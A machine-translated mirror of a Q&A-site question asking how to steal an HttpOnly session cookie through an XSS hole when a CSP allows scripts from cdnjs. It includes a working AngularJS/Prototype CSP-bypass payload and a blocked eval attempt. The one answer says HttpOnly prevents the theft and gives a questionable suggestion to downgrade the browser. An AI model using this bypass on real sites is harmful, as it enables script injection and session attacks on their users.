启用 HTTPOnly 和 CSP 时使用 XSS 窃取 Cookie:解决方法和策略

问题描述 投票:0回答:1

当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击:

<form action="/createThread?topic={{lcTopic}}" method="post" class="">
    <h2 class="text-muted">New Thread</h2>
    <hr>
    <div class="form-group">
      <label>Body</label>
      <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea>
    </div>
    <button type="submit" class="btn btn-primary">Create Thread</button>
    <button type="button" id="threadPreview" class="btn btn-default">Preview</button>
  </form>`

在我的服务器中,我将 CSP 规则定义为:

.use(
helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: [
      "'self'",
      "cdnjs.cloudflare.com"
    ],
  },
})
)

攻击者可能通过将以下代码注入文本字段来绕过 CSP:

<!DOCTYPE html>
<html>
<head>
 <title>XSS Demo</title>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT>
</head>
<body ng-app ng-csp>

 <div>
   <button ng-click="$on.curry.call().alert('xss')">Click Me! 
 </button>
    <div style="display:none;">
      {{$on.curry.call().alert('xss')}}
     </div>
 </div>

 </body>
</html>

现在,由于启用了 HTTPOnly,攻击者无法简单地执行“alert(document.cookie)”。考虑到 CSP 规则,他们还可以采用哪些其他方法来窃取 cookie?

我尝试了一个简单的警报(document.cookie),但由于 HTTPOnly 而不起作用:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: default-src 'self';script-src 'self' cdnjs.cloudflare.com;base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
Content-Type: text/html; charset=utf-8
Content-Length: 5924
ETag: W/"1724-zhGBtITbjmwCa+un6GYhGKL+lwo"
Set-Cookie: connect.sid=THE COOKIE; Path=/; HttpOnly
Date: Sat, 27 Apr 2024 09:29:04 GMT
Connection: close

我什至尝试这样做:

    {{$on.curry.call().eval("var url = '/'; fetch(url).then(response => console.log(response.headers.get('Set-Cookie')))")}}

但是自从 CSP 我得到: angular.js:5930 EvalError:拒绝将字符串评估为 JavaScript,因为“unsafe-eval”不是以下内容安全策略指令中允许的脚本源:“script-src

注意:攻击者显然不允许更改服务器代码!他只能访问输入字段!

javascript cookies xss content-security-policy httponly
1个回答
0
投票

在这种情况下,攻击者无法从cookie中获取价值。 因为,HttpOnly 已激活。 这个活动是对的。

如果你成功执行JavaScriptalert(),你应该降级Web浏览器并重新攻击。

© www.soinside.com 2019 - 2024. All rights reserved.